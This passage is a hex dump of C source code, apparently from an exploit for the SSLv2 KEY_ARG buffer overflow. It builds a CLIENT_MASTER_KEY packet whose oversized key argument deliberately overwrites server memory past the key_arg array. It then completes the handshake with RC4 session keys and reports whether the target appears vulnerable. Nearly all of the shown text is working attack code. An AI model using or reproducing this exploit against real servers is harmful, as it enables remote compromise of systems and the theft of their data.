|000041b0| 61 74 65 20 69 73 20 6e | 6f 74 20 61 20 52 53 41 |ate is n|ot a RSA|
|000041c0| 20 6b 65 79 22 29 3b 0a | 09 09 72 65 74 75 72 6e | key");.|..return|
|000041d0| 20 53 53 4c 5f 45 52 52 | 4f 52 3b 0a 09 7d 0a 09 | SSL_ERR|OR;..}..|
|000041e0| 0a 09 2f 2a 20 45 6e 63 | 72 79 70 74 20 74 68 65 |../* Enc|rypt the|
|000041f0| 20 63 6c 69 65 6e 74 20 | 6d 61 73 74 65 72 20 6b | client |master k|
|00004200| 65 79 20 77 69 74 68 20 | 74 68 65 20 73 65 72 76 |ey with |the serv|
|00004210| 65 72 20 70 75 62 6c 69 | 63 20 6b 65 79 20 61 6e |er publi|c key an|
|00004220| 64 20 70 75 74 20 69 74 | 20 69 6e 20 74 68 65 20 |d put it| in the |
|00004230| 70 61 63 6b 65 74 20 2a | 2f 0a 09 65 6e 63 72 79 |packet *|/..encry|
|00004240| 70 74 65 64 5f 6b 65 79 | 5f 6c 65 6e 67 74 68 20 |pted_key|_length |
|00004250| 3d 20 52 53 41 5f 70 75 | 62 6c 69 63 5f 65 6e 63 |= RSA_pu|blic_enc|
|00004260| 72 79 70 74 28 52 43 34 | 5f 4b 45 59 5f 4c 45 4e |rypt(RC4|_KEY_LEN|
|00004270| 47 54 48 2c 20 73 73 6c | 2d 3e 6d 61 73 74 65 72 |GTH, ssl|->master|
|00004280| 5f 6b 65 79 2c 20 26 62 | 75 66 5b 31 30 5d 2c 0a |_key, &b|uf[10],.|
|00004290| 09 09 70 6b 65 79 2d 3e | 70 6b 65 79 2e 72 73 61 |..pkey->|pkey.rsa|
|000042a0| 2c 20 52 53 41 5f 50 4b | 43 53 31 5f 50 41 44 44 |, RSA_PK|CS1_PADD|
|000042b0| 49 4e 47 29 3b 0a 09 69 | 66 20 28 65 6e 63 72 79 |ING);..i|f (encry|
|000042c0| 70 74 65 64 5f 6b 65 79 | 5f 6c 65 6e 67 74 68 20 |pted_key|_length |
|000042d0| 3c 3d 20 30 29 20 7b 0a | 09 09 73 73 6c 2d 3e 65 |<= 0) {.|..ssl->e|
|000042e0| 72 72 20 3d 20 53 53 4c | 5f 50 52 4f 54 4f 43 4f |rr = SSL|_PROTOCO|
|000042f0| 4c 5f 45 52 52 4f 52 3b | 0a 09 09 73 70 72 69 6e |L_ERROR;|...sprin|
|00004300| 74 66 28 73 73 6c 2d 3e | 65 72 72 5f 62 75 66 2c |tf(ssl->|err_buf,|
|00004310| 20 22 73 65 6e 64 5f 63 | 6c 69 65 6e 74 5f 6d 61 | "send_c|lient_ma|
|00004320| 73 74 65 72 5f 6b 65 79 | 3a 20 52 53 41 20 65 6e |ster_key|: RSA en|
|00004330| 63 72 79 70 74 69 6f 6e | 20 66 61 69 6c 75 72 65 |cryption| failure|
|00004340| 22 29 3b 0a 09 09 72 65 | 74 75 72 6e 20 53 53 4c |");...re|turn SSL|
|00004350| 5f 45 52 52 4f 52 3b 0a | 09 7d 0a 0a 09 70 20 2b |_ERROR;.|.}...p +|
|00004360| 3d 20 65 6e 63 72 79 70 | 74 65 64 5f 6b 65 79 5f |= encryp|ted_key_|
|00004370| 6c 65 6e 67 74 68 3b 0a | 09 0a 09 69 66 20 28 6b |length;.|...if (k|
|00004380| 65 79 5f 61 72 67 5f 6f | 76 65 72 77 72 69 74 65 |ey_arg_o|verwrite|
|00004390| 29 20 7b 0a 09 09 2f 2a | 20 54 68 65 73 65 20 38 |) {.../*| These 8|
|000043a0| 20 62 79 74 65 73 20 66 | 69 6c 6c 20 74 68 65 20 | bytes f|ill the |
|000043b0| 6b 65 79 5f 61 72 67 20 | 61 72 72 61 79 20 6f 6e |key_arg |array on|
|000043c0| 20 74 68 65 20 73 65 72 | 76 65 72 20 2a 2f 0a 09 | the ser|ver */..|
|000043d0| 09 66 6f 72 20 28 69 20 | 3d 20 30 3b 20 69 20 3c |.for (i |= 0; i <|
|000043e0| 20 38 3b 20 69 2b 2b 29 | 20 7b 0a 09 09 09 2a 28 | 8; i++)| {....*(|
|000043f0| 70 2b 2b 29 20 3d 20 28 | 75 6e 73 69 67 6e 65 64 |p++) = (|unsigned|
|00004400| 20 63 68 61 72 29 20 28 | 72 61 6e 64 28 29 20 3e | char) (|rand() >|
|00004410| 3e 20 32 34 29 3b 0a 09 | 09 7d 0a 09 09 2f 2a 20 |> 24);..|.}.../* |
|00004420| 54 68 69 73 20 6f 76 65 | 72 77 72 69 74 65 73 20 |This ove|rwrites |
|00004430| 74 68 65 20 64 61 74 61 | 20 66 6f 6c 6c 6f 77 69 |the data| followi|
|00004440| 6e 67 20 74 68 65 20 6b | 65 79 5f 61 72 67 20 61 |ng the k|ey_arg a|
|00004450| 72 72 61 79 20 2a 2f 0a | 09 09 6d 65 6d 63 70 79 |rray */.|..memcpy|
|00004460| 28 70 2c 20 6b 65 79 5f | 61 72 67 5f 6f 76 65 72 |(p, key_|arg_over|
|00004470| 77 72 69 74 65 2c 20 6b | 65 79 5f 61 72 67 5f 6f |write, k|ey_arg_o|
|00004480| 76 65 72 77 72 69 74 65 | 5f 6c 65 6e 29 3b 0a 09 |verwrite|_len);..|
|00004490| 0a 09 09 6b 65 79 5f 61 | 72 67 5f 6c 65 6e 67 74 |...key_a|rg_lengt|
|000044a0| 68 20 3d 20 38 20 2b 20 | 6b 65 79 5f 61 72 67 5f |h = 8 + |key_arg_|
|000044b0| 6f 76 65 72 77 72 69 74 | 65 5f 6c 65 6e 3b 0a 09 |overwrit|e_len;..|
|000044c0| 7d 0a 09 65 6c 73 65 20 | 7b 0a 09 09 6b 65 79 5f |}..else |{...key_|
|000044d0| 61 72 67 5f 6c 65 6e 67 | 74 68 20 3d 20 30 3b 09 |arg_leng|th = 0;.|
|000044e0| 2f 2a 20 52 43 34 20 64 | 6f 65 73 6e 27 74 20 75 |/* RC4 d|oesn't u|
|000044f0| 73 65 20 4b 45 59 2d 41 | 52 47 20 2a 2f 0a 09 7d |se KEY-A|RG */..}|
|00004500| 0a 0a 09 70 20 3d 20 26 | 62 75 66 5b 36 5d 3b 0a |...p = &|buf[6];.|
|00004510| 09 73 32 6e 28 65 6e 63 | 72 79 70 74 65 64 5f 6b |.s2n(enc|rypted_k|
|00004520| 65 79 5f 6c 65 6e 67 74 | 68 2c 20 70 29 3b 0a 09 |ey_lengt|h, p);..|
|00004530| 73 32 6e 28 6b 65 79 5f | 61 72 67 5f 6c 65 6e 67 |s2n(key_|arg_leng|
|00004540| 74 68 2c 20 70 29 3b 0a | 09 0a 09 72 65 63 6f 72 |th, p);.|...recor|
|00004550| 64 5f 6c 65 6e 67 74 68 | 20 3d 20 31 30 20 2b 20 |d_length| = 10 + |
|00004560| 65 6e 63 72 79 70 74 65 | 64 5f 6b 65 79 5f 6c 65 |encrypte|d_key_le|
|00004570| 6e 67 74 68 20 2b 20 6b | 65 79 5f 61 72 67 5f 6c |ngth + k|ey_arg_l|
|00004580| 65 6e 67 74 68 3b 0a 09 | 73 65 6e 64 5f 73 73 6c |ength;..|send_ssl|
|00004590| 5f 70 61 63 6b 65 74 28 | 73 73 6c 2c 20 62 75 66 |_packet(|ssl, buf|
|000045a0| 2c 20 72 65 63 6f 72 64 | 5f 6c 65 6e 67 74 68 29 |, record|_length)|
|000045b0| 3b 0a 0a 09 2f 2a 20 61 | 6c 6c 20 66 6f 6c 6c 6f |;.../* a|ll follo|
|000045c0| 77 69 6e 67 20 6d 65 73 | 73 61 67 65 73 20 73 68 |wing mes|sages sh|
|000045d0| 6f 75 6c 64 20 62 65 20 | 65 6e 63 72 79 70 74 65 |ould be |encrypte|
|000045e0| 64 20 2a 2f 0a 09 73 73 | 6c 2d 3e 65 6e 63 72 79 |d */..ss|l->encry|
|000045f0| 70 74 65 64 20 3d 20 31 | 3b 0a 0a 09 72 65 74 75 |pted = 1|;...retu|
|00004600| 72 6e 20 53 53 4c 5f 4f | 4b 3b 0a 7d 0a 0a 2f 2a |rn SSL_O|K;.}../*|
|00004610| 20 47 65 6e 65 72 61 74 | 65 20 74 68 65 20 6b 65 | Generat|e the ke|
|00004620| 79 20 6d 61 74 65 72 69 | 61 6c 20 75 73 69 6e 67 |y materi|al using|
|00004630| 20 74 68 65 20 61 6c 67 | 6f 72 69 74 68 6d 20 64 | the alg|orithm d|
|00004640| 65 73 63 72 69 62 65 64 | 20 69 6e 20 74 68 65 20 |escribed| in the |
|00004650| 53 53 4c 32 20 73 70 65 | 63 69 66 69 63 61 74 69 |SSL2 spe|cificati|
|00004660| 6f 6e 20 2a 2f 0a 76 6f | 69 64 20 67 65 6e 65 72 |on */.vo|id gener|
|00004670| 61 74 65 5f 6b 65 79 5f | 6d 61 74 65 72 69 61 6c |ate_key_|material|
|00004680| 28 73 74 72 75 63 74 20 | 73 73 6c 5f 63 6f 6e 6e |(struct |ssl_conn|
|00004690| 2a 20 73 73 6c 29 0a 7b | 0a 09 75 6e 73 69 67 6e |* ssl).{|..unsign|
|000046a0| 65 64 20 69 6e 74 20 69 | 3b 0a 09 4d 44 35 5f 43 |ed int i|;..MD5_C|
|000046b0| 54 58 20 63 74 78 3b 0a | 09 75 6e 73 69 67 6e 65 |TX ctx;.|.unsigne|
|000046c0| 64 20 63 68 61 72 20 2a | 6b 6d 3b 0a 09 75 6e 73 |d char *|km;..uns|
|000046d0| 69 67 6e 65 64 20 63 68 | 61 72 20 63 3d 27 30 27 |igned ch|ar c='0'|
|000046e0| 3b 0a 0a 09 6b 6d 3d 73 | 73 6c 2d 3e 6b 65 79 5f |;...km=s|sl->key_|
|000046f0| 6d 61 74 65 72 69 61 6c | 3b 0a 09 66 6f 72 20 28 |material|;..for (|
|00004700| 69 3d 30 3b 20 69 3c 52 | 43 34 5f 4b 45 59 5f 4d |i=0; i<R|C4_KEY_M|
|00004710| 41 54 45 52 49 41 4c 5f | 4c 45 4e 47 54 48 3b 20 |ATERIAL_|LENGTH; |
|00004720| 69 2b 3d 4d 44 35 5f 44 | 49 47 45 53 54 5f 4c 45 |i+=MD5_D|IGEST_LE|
|00004730| 4e 47 54 48 29 20 7b 0a | 09 09 4d 44 35 5f 49 6e |NGTH) {.|..MD5_In|
|00004740| 69 74 28 26 63 74 78 29 | 3b 0a 0a 09 09 4d 44 35 |it(&ctx)|;....MD5|
|00004750| 5f 55 70 64 61 74 65 28 | 26 63 74 78 2c 73 73 6c |_Update(|&ctx,ssl|
|00004760| 2d 3e 6d 61 73 74 65 72 | 5f 6b 65 79 2c 52 43 34 |->master|_key,RC4|
|00004770| 5f 4b 45 59 5f 4c 45 4e | 47 54 48 29 3b 0a 09 09 |_KEY_LEN|GTH);...|
|00004780| 4d 44 35 5f 55 70 64 61 | 74 65 28 26 63 74 78 2c |MD5_Upda|te(&ctx,|
|00004790| 26 63 2c 31 29 3b 0a 09 | 09 63 2b 2b 3b 0a 09 09 |&c,1);..|.c++;...|
|000047a0| 4d 44 35 5f 55 70 64 61 | 74 65 28 26 63 74 78 2c |MD5_Upda|te(&ctx,|
|000047b0| 73 73 6c 2d 3e 63 68 61 | 6c 6c 65 6e 67 65 2c 43 |ssl->cha|llenge,C|
|000047c0| 48 41 4c 4c 45 4e 47 45 | 5f 4c 45 4e 47 54 48 29 |HALLENGE|_LENGTH)|
|000047d0| 3b 0a 09 09 4d 44 35 5f | 55 70 64 61 74 65 28 26 |;...MD5_|Update(&|
|000047e0| 63 74 78 2c 73 73 6c 2d | 3e 63 6f 6e 6e 5f 69 64 |ctx,ssl-|>conn_id|
|000047f0| 2c 20 73 73 6c 2d 3e 63 | 6f 6e 6e 5f 69 64 5f 6c |, ssl->c|onn_id_l|
|00004800| 65 6e 67 74 68 29 3b 0a | 09 09 4d 44 35 5f 46 69 |ength);.|..MD5_Fi|
|00004810| 6e 61 6c 28 6b 6d 2c 26 | 63 74 78 29 3b 0a 09 09 |nal(km,&|ctx);...|
|00004820| 6b 6d 2b 3d 4d 44 35 5f | 44 49 47 45 53 54 5f 4c |km+=MD5_|DIGEST_L|
|00004830| 45 4e 47 54 48 3b 0a 09 | 7d 0a 7d 0a 0a 2f 2a 20 |ENGTH;..|}.}../* |
|00004840| 47 65 6e 65 72 61 74 65 | 20 74 68 65 20 52 43 34 |Generate| the RC4|
|00004850| 20 73 65 73 73 69 6f 6e | 20 72 65 61 64 20 61 6e | session| read an|
|00004860| 64 20 77 72 69 74 65 20 | 6b 65 79 73 20 2a 2f 0a |d write |keys */.|
|00004870| 76 6f 69 64 20 67 65 6e | 65 72 61 74 65 5f 73 65 |void gen|erate_se|
|00004880| 73 73 69 6f 6e 5f 6b 65 | 79 73 28 73 74 72 75 63 |ssion_ke|ys(struc|
|00004890| 74 20 73 73 6c 5f 63 6f | 6e 6e 2a 20 73 73 6c 29 |t ssl_co|nn* ssl)|
|000048a0| 0a 7b 0a 09 69 66 20 28 | 73 73 6c 2d 3e 65 72 72 |.{..if (|ssl->err|
|000048b0| 29 20 72 65 74 75 72 6e | 3b 0a 0a 09 69 66 20 28 |) return|;...if (|
|000048c0| 73 73 6c 2d 3e 76 65 72 | 62 6f 73 65 29 20 70 72 |ssl->ver|bose) pr|
|000048d0| 69 6e 74 66 28 22 20 2d | 3e 20 67 65 6e 65 72 61 |intf(" -|> genera|
|000048e0| 74 65 5f 73 65 73 73 69 | 6f 6e 5f 6b 65 79 73 5c |te_sessi|on_keys\|
|000048f0| 6e 22 29 3b 0a 09 0a 09 | 67 65 6e 65 72 61 74 65 |n");....|generate|
|00004900| 5f 6b 65 79 5f 6d 61 74 | 65 72 69 61 6c 28 73 73 |_key_mat|erial(ss|
|00004910| 6c 29 3b 0a 0a 09 73 73 | 6c 2d 3e 72 65 61 64 5f |l);...ss|l->read_|
|00004920| 6b 65 79 20 3d 20 26 28 | 73 73 6c 2d 3e 6b 65 79 |key = &(|ssl->key|
|00004930| 5f 6d 61 74 65 72 69 61 | 6c 5b 30 5d 29 3b 0a 09 |_materia|l[0]);..|
|00004940| 73 73 6c 2d 3e 72 63 34 | 5f 72 65 61 64 5f 6b 65 |ssl->rc4|_read_ke|
|00004950| 79 20 3d 20 28 52 43 34 | 5f 4b 45 59 2a 29 20 6d |y = (RC4|_KEY*) m|
|00004960| 61 6c 6c 6f 63 28 73 69 | 7a 65 6f 66 28 52 43 34 |alloc(si|zeof(RC4|
|00004970| 5f 4b 45 59 29 29 3b 0a | 09 52 43 34 5f 73 65 74 |_KEY));.|.RC4_set|
|00004980| 5f 6b 65 79 28 73 73 6c | 2d 3e 72 63 34 5f 72 65 |_key(ssl|->rc4_re|
|00004990| 61 64 5f 6b 65 79 2c 20 | 52 43 34 5f 4b 45 59 5f |ad_key, |RC4_KEY_|
|000049a0| 4c 45 4e 47 54 48 2c 20 | 73 73 6c 2d 3e 72 65 61 |LENGTH, |ssl->rea|
|000049b0| 64 5f 6b 65 79 29 3b 0a | 0a 09 73 73 6c 2d 3e 77 |d_key);.|..ssl->w|
|000049c0| 72 69 74 65 5f 6b 65 79 | 20 3d 20 26 28 73 73 6c |rite_key| = &(ssl|
|000049d0| 2d 3e 6b 65 79 5f 6d 61 | 74 65 72 69 61 6c 5b 52 |->key_ma|terial[R|
|000049e0| 43 34 5f 4b 45 59 5f 4c | 45 4e 47 54 48 5d 29 3b |C4_KEY_L|ENGTH]);|
|000049f0| 0a 09 73 73 6c 2d 3e 72 | 63 34 5f 77 72 69 74 65 |..ssl->r|c4_write|
|00004a00| 5f 6b 65 79 20 3d 20 28 | 52 43 34 5f 4b 45 59 2a |_key = (|RC4_KEY*|
|00004a10| 29 20 6d 61 6c 6c 6f 63 | 28 73 69 7a 65 6f 66 28 |) malloc|(sizeof(|
|00004a20| 52 43 34 5f 4b 45 59 29 | 29 3b 0a 09 52 43 34 5f |RC4_KEY)|);..RC4_|
|00004a30| 73 65 74 5f 6b 65 79 28 | 73 73 6c 2d 3e 72 63 34 |set_key(|ssl->rc4|
|00004a40| 5f 77 72 69 74 65 5f 6b | 65 79 2c 20 52 43 34 5f |_write_k|ey, RC4_|
|00004a50| 4b 45 59 5f 4c 45 4e 47 | 54 48 2c 20 73 73 6c 2d |KEY_LENG|TH, ssl-|
|00004a60| 3e 77 72 69 74 65 5f 6b | 65 79 29 3b 0a 7d 0a 0a |>write_k|ey);.}..|
|00004a70| 2f 2a 20 47 65 74 20 61 | 20 53 45 52 56 45 52 5f |/* Get a| SERVER_|
|00004a80| 56 45 52 49 46 59 20 72 | 65 73 70 6f 6e 73 65 20 |VERIFY r|esponse |
|00004a90| 66 72 6f 6d 20 74 68 65 | 20 73 65 72 76 65 72 20 |from the| server |
|00004aa0| 2a 2f 0a 69 6e 74 20 67 | 65 74 5f 73 65 72 76 65 |*/.int g|et_serve|
|00004ab0| 72 5f 76 65 72 69 66 79 | 28 73 74 72 75 63 74 20 |r_verify|(struct |
|00004ac0| 73 73 6c 5f 63 6f 6e 6e | 2a 20 73 73 6c 29 0a 7b |ssl_conn|* ssl).{|
|00004ad0| 0a 09 75 6e 73 69 67 6e | 65 64 20 63 68 61 72 20 |..unsign|ed char |
|00004ae0| 62 75 66 5b 42 55 46 53 | 49 5a 45 5d 3b 0a 09 69 |buf[BUFS|IZE];..i|
|00004af0| 6e 74 20 6c 65 6e 3b 0a | 0a 09 69 66 20 28 73 73 |nt len;.|..if (ss|
|00004b00| 6c 2d 3e 65 72 72 29 20 | 72 65 74 75 72 6e 20 53 |l->err) |return S|
|00004b10| 53 4c 5f 45 52 52 4f 52 | 3b 0a 0a 09 69 66 20 28 |SL_ERROR|;...if (|
|00004b20| 73 73 6c 2d 3e 76 65 72 | 62 6f 73 65 29 20 70 72 |ssl->ver|bose) pr|
|00004b30| 69 6e 74 66 28 22 20 2d | 3e 20 67 65 74 5f 73 65 |intf(" -|> get_se|
|00004b40| 72 76 65 72 5f 76 65 72 | 69 66 79 5c 6e 22 29 3b |rver_ver|ify\n");|
|00004b50| 0a 0a 09 69 66 20 28 21 | 28 6c 65 6e 20 3d 20 72 |...if (!|(len = r|
|00004b60| 65 61 64 5f 73 73 6c 5f | 70 61 63 6b 65 74 28 73 |ead_ssl_|packet(s|
|00004b70| 73 6c 2c 20 62 75 66 2c | 20 73 69 7a 65 6f 66 28 |sl, buf,| sizeof(|
|00004b80| 62 75 66 29 29 29 29 20 | 7b 0a 09 09 69 66 20 28 |buf)))) |{...if (|
|00004b90| 73 73 6c 2d 3e 65 72 72 | 20 3d 3d 20 53 53 4c 5f |ssl->err| == SSL_|
|00004ba0| 43 4f 4e 4e 45 43 54 49 | 4f 4e 5f 45 52 52 4f 52 |CONNECTI|ON_ERROR|
|00004bb0| 29 0a 09 09 09 73 70 72 | 69 6e 74 66 28 73 73 6c |)....spr|intf(ssl|
|00004bc0| 2d 3e 65 72 72 5f 62 75 | 66 2c 20 22 43 6f 6e 6e |->err_bu|f, "Conn|
|00004bd0| 65 63 74 69 6f 6e 20 63 | 6c 6f 73 65 64 20 61 66 |ection c|losed af|
|00004be0| 74 65 72 20 4b 45 59 5f | 41 52 47 20 64 61 74 61 |ter KEY_|ARG data|
|00004bf0| 20 77 61 73 20 73 65 6e | 74 2e 20 53 65 72 76 65 | was sen|t. Serve|
|00004c00| 72 20 69 73 20 6d 6f 73 | 74 20 6c 69 6b 65 6c 79 |r is mos|t likely|
|00004c10| 20 6e 6f 74 20 76 75 6c | 6e 65 72 61 62 6c 65 2e | not vul|nerable.|
|00004c20| 22 29 3b 0a 09 09 65 6c | 73 65 20 69 66 20 28 73 |");...el|se if (s|
|00004c30| 73 6c 2d 3e 65 72 72 20 | 3d 3d 20 53 53 4c 5f 53 |sl->err |== SSL_S|
|00004c40| 45 52 56 45 52 5f 45 52 | 52 4f 52 29 0a 09 09 09 |ERVER_ER|ROR)....|
|00004c50| 73 74 72 63 61 74 28 73 | 73 6c 2d 3e 65 72 72 5f |strcat(s|sl->err_|
|00004c60| 62 75 66 2c 20 22 20 61 | 66 74 65 72 20 4b 45 59 |buf, " a|fter KEY|
|00004c70| 5f 41 52 47 20 64 61 74 | 61 20 77 61 73 20 73 65 |_ARG dat|a was se|
|00004c80| 6e 74 2e 20 53 65 72 76 | 65 72 20 69 73 20 6e 6f |nt. Serv|er is no|
|00004c90| 74 20 76 75 6c 6e 65 72 | 61 62 6c 65 2e 22 29 3b |t vulner|able.");|
|00004ca0| 0a 09 09 72 65 74 75 72 | 6e 20 53 53 4c 5f 45 52 |...retur|n SSL_ER|
|00004cb0| 52 4f 52 3b 0a 09 7d 0a | 09 09 0a 09 69 66 20 28 |ROR;..}.|....if (|
|00004cc0| 6c 65 6e 20 21 3d 20 31 | 20 2b 20 43 48 41 4c 4c |len != 1| + CHALL|
|00004cd0| 45 4e 47 45 5f 4c 45 4e | 47 54 48 29 20 7b 0a 09 |ENGE_LEN|GTH) {..|
|00004ce0| 09 73 73 6c 2d 3e 65 72 | 72 20 3d 20 53 53 4c 5f |.ssl->er|r = SSL_|
|00004cf0| 50 52 4f 54 4f 43 4f 4c | 5f 45 52 52 4f 52 3b 0a |PROTOCOL|_ERROR;.|
|00004d00| 09 09 73 70 72 69 6e 74 | 66 28 73 73 6c 2d 3e 65 |..sprint|f(ssl->e|
|00004d10| 72 72 5f 62 75 66 2c 20 | 22 67 65 74 5f 73 65 72 |rr_buf, |"get_ser|
|00004d20| 76 65 72 5f 76 65 72 69 | 66 79 3a 20 4d 61 6c 66 |ver_veri|fy: Malf|
|00004d30| 6f 72 6d 65 64 20 70 61 | 63 6b 65 74 20 73 69 7a |ormed pa|cket siz|
|00004d40| 65 22 29 3b 0a 09 09 72 | 65 74 75 72 6e 20 53 53 |e");...r|eturn SS|
|00004d50| 4c 5f 45 52 52 4f 52 3b | 0a 09 7d 0a 09 0a 09 69 |L_ERROR;|..}....i|
|00004d60| 66 20 28 62 75 66 5b 30 | 5d 20 21 3d 20 53 53 4c |f (buf[0|] != SSL|
|00004d70| 32 5f 4d 54 5f 53 45 52 | 56 45 52 5f 56 45 52 49 |2_MT_SER|VER_VERI|
|00004d80| 46 59 29 20 7b 0a 09 09 | 73 73 6c 2d 3e 65 72 72 |FY) {...|ssl->err|
|00004d90| 20 3d 20 53 53 4c 5f 50 | 52 4f 54 4f 43 4f 4c 5f | = SSL_P|ROTOCOL_|
|00004da0| 45 52 52 4f 52 3b 0a 09 | 09 73 70 72 69 6e 74 66 |ERROR;..|.sprintf|
|00004db0| 28 73 73 6c 2d 3e 65 72 | 72 5f 62 75 66 2c 20 22 |(ssl->er|r_buf, "|
|00004dc0| 67 65 74 5f 73 65 72 76 | 65 72 5f 76 65 72 69 66 |get_serv|er_verif|
|00004dd0| 79 3a 20 45 78 70 65 63 | 74 65 64 20 53 53 4c 32 |y: Expec|ted SSL2|
|00004de0| 5f 4d 54 5f 53 45 52 56 | 45 52 5f 56 45 52 49 46 |_MT_SERV|ER_VERIF|
|00004df0| 59 2c 20 67 6f 74 20 30 | 78 25 30 32 78 22 2c 20 |Y, got 0|x%02x", |
|00004e00| 28 69 6e 74 29 62 75 66 | 5b 30 5d 29 3b 0a 09 09 |(int)buf|[0]);...|
|00004e10| 72 65 74 75 72 6e 20 53 | 53 4c 5f 45 52 52 4f 52 |return S|SL_ERROR|
|00004e20| 3b 0a 09 7d 0a 0a 09 2f | 2a 20 49 66 20 74 68 69 |;..}.../|* If thi|
|00004e30| 73 20 77 6f 72 6b 73 2c | 20 6f 75 72 20 64 65 63 |s works,| our dec|
|00004e40| 72 79 70 74 69 6f 6e 20 | 6b 65 79 20 69 73 20 63 |ryption |key is c|
|00004e50| 6f 72 72 65 63 74 20 2a | 2f 0a 09 69 66 20 28 6d |orrect *|/..if (m|
|00004e60| 65 6d 63 6d 70 28 73 73 | 6c 2d 3e 63 68 61 6c 6c |emcmp(ss|l->chall|
|00004e70| 65 6e 67 65 2c 20 26 62 | 75 66 5b 31 5d 2c 20 43 |enge, &b|uf[1], C|
|00004e80| 48 41 4c 4c 45 4e 47 45 | 5f 4c 45 4e 47 54 48 29 |HALLENGE|_LENGTH)|
|00004e90| 29 20 7b 0a 09 09 73 73 | 6c 2d 3e 65 72 72 20 3d |) {...ss|l->err =|
|00004ea0| 20 53 53 4c 5f 50 52 4f | 54 4f 43 4f 4c 5f 45 52 | SSL_PRO|TOCOL_ER|
|00004eb0| 52 4f 52 3b 0a 09 09 73 | 70 72 69 6e 74 66 28 73 |ROR;...s|printf(s|
|00004ec0| 73 6c 2d 3e 65 72 72 5f | 62 75 66 2c 20 22 67 65 |sl->err_|buf, "ge|
|00004ed0| 74 5f 73 65 72 76 65 72 | 5f 76 65 72 69 66 79 3a |t_server|_verify:|
|00004ee0| 20 43 68 61 6c 6c 65 6e | 67 65 20 73 74 72 69 6e | Challen|ge strin|
|00004ef0| 67 73 20 64 6f 6e 27 74 | 20 6d 61 74 63 68 22 29 |gs don't| match")|
|00004f00| 3b 0a 09 09 72 65 74 75 | 72 6e 20 53 53 4c 5f 45 |;...retu|rn SSL_E|
|00004f10| 52 52 4f 52 3b 0a 09 7d | 0a 0a 09 72 65 74 75 72 |RROR;..}|...retur|
|00004f20| 6e 20 53 53 4c 5f 4f 4b | 3b 0a 7d 0a 0a 2f 2a 20 |n SSL_OK|;.}../* |
|00004f30| 53 65 6e 64 20 61 20 43 | 4c 49 45 4e 54 5f 46 49 |Send a C|LIENT_FI|
|00004f40| 4e 49 53 48 45 44 20 6d | 65 73 73 61 67 65 20 74 |NISHED m|essage t|
|00004f50| 6f 20 74 68 65 20 73 65 | 72 76 65 72 20 2a 2f 0a |o the se|rver */.|
|00004f60| 69 6e 74 20 73 65 6e 64 | 5f 63 6c 69 65 6e 74 5f |int send|_client_|
|00004f70| 66 69 6e 69 73 68 65 64 | 28 73 74 72 75 63 74 20 |finished|(struct |
|00004f80| 73 73 6c 5f 63 6f 6e 6e | 2a 20 73 73 6c 29 0a 7b |ssl_conn|* ssl).{|
|00004f90| 0a 09 75 6e 73 69 67 6e | 65 64 20 63 68 61 72 20 |..unsign|ed char |
|00004fa0| 62 75 66 5b 42 55 46 53 | 49 5a 45 5d 3b 0a 0a 09 |buf[BUFS|IZE];...|
|00004fb0| 69 66 20 28 73 73 6c 2d | 3e 65 72 72 29 20 72 65 |if (ssl-|>err) re|
|00004fc0| 74 75 72 6e 20 53 53 4c | 5f 45 52 52 4f 52 3b 0a |turn SSL|_ERROR;.|
|00004fd0| 09 0a 09 69 66 20 28 73 | 73 6c 2d 3e 76 65 72 62 |...if (s|sl->verb|
|00004fe0| 6f 73 65 29 20 70 72 69 | 6e 74 66 28 22 20 2d 3e |ose) pri|ntf(" ->|
|00004ff0| 20 73 65 6e 64 5f 63 6c | 69 65 6e 74 5f 66 69 6e | send_cl|ient_fin|
|00005000| 69 73 68 65 64 5c 6e 22 | 29 3b 0a 0a 09 62 75 66 |ished\n"|);...buf|
|00005010| 5b 30 5d 20 3d 20 53 53 | 4c 32 5f 4d 54 5f 43 4c |[0] = SS|L2_MT_CL|
|00005020| 49 45 4e 54 5f 46 49 4e | 49 53 48 45 44 3b 0a 09 |IENT_FIN|ISHED;..|
|00005030| 6d 65 6d 63 70 79 28 26 | 62 75 66 5b 31 5d 2c 20 |memcpy(&|buf[1], |
|00005040| 73 73 6c 2d 3e 63 6f 6e | 6e 5f 69 64 2c 20 73 73 |ssl->con|n_id, ss|
|00005050| 6c 2d 3e 63 6f 6e 6e 5f | 69 64 5f 6c 65 6e 67 74 |l->conn_|id_lengt|
|00005060| 68 29 3b 0a 09 0a 09 73 | 65 6e 64 5f 73 73 6c 5f |h);....s|end_ssl_|
|00005070| 70 61 63 6b 65 74 28 73 | 73 6c 2c 20 62 75 66 2c |packet(s|sl, buf,|
|00005080| 20 31 2b 73 73 6c 2d 3e | 63 6f 6e 6e 5f 69 64 5f | 1+ssl->|conn_id_|
|00005090| 6c 65 6e 67 74 68 29 3b | 0a 0a 09 72 65 74 75 72 |length);|...retur|
|000050a0| 6e 20 53 53 4c 5f 4f 4b | 3b 0a 7d 0a 0a 2f 2a 20 |n SSL_OK|;.}../* |
|000050b0| 47 65 74 20 61 20 53 45 | 52 56 45 52 5f 46 49 4e |Get a SE|RVER_FIN|
|000050c0| 49 53 48 45 44 20 6d 65 | 73 73 61 67 65 20 66 72 |ISHED me|ssage fr|
|000050d0| 6f 6d 20 74 68 65 20 73 | 65 72 76 65 72 20 2a 2f |om the s|erver */|
|000050e0| 0a 69 6e 74 20 67 65 74 | 5f 73 65 72 76 65 72 5f |.int get|_server_|
|000050f0| 66 69 6e 69 73 68 65 64 | 28 73 74 72 75 63 74 20 |finished|(struct |
|00005100| 73 73 6c 5f 63 6f 6e 6e | 2a 20 73 73 6c 2c 20 75 |ssl_conn|* ssl, u|
|00005110| 6e 73 69 67 6e 65 64 20 | 63 68 61 72 2a 20 73 65 |nsigned |char* se|
|00005120| 73 73 69 6f 6e 5f 62 75 | 66 2c 20 69 6e 74 20 73 |ssion_bu|f, int s|
|00005130| 65 73 73 69 6f 6e 5f 73 | 69 7a 65 29 0a 7b 0a 09 |ession_s|ize).{..|
|00005140| 75 6e 73 69 67 6e 65 64 | 20 63 68 61 72 20 62 75 |unsigned| char bu|
|00005150| 66 5b 42 55 46 53 49 5a | 45 5d 3b 0a 09 69 6e 74 |f[BUFSIZ|E];..int|
|00005160| 20 6c 65 6e 3b 0a 0a 09 | 69 66 20 28 73 73 6c 2d | len;...|if (ssl-|
|00005170| 3e 65 72 72 29 20 72 65 | 74 75 72 6e 20 53 53 4c |>err) re|turn SSL|
|00005180| 5f 45 52 52 4f 52 3b 0a | 0a 09 69 66 20 28 73 73 |_ERROR;.|..if (ss|
|00005190| 6c 2d 3e 76 65 72 62 6f | 73 65 29 20 70 72 69 6e |l->verbo|se) prin|
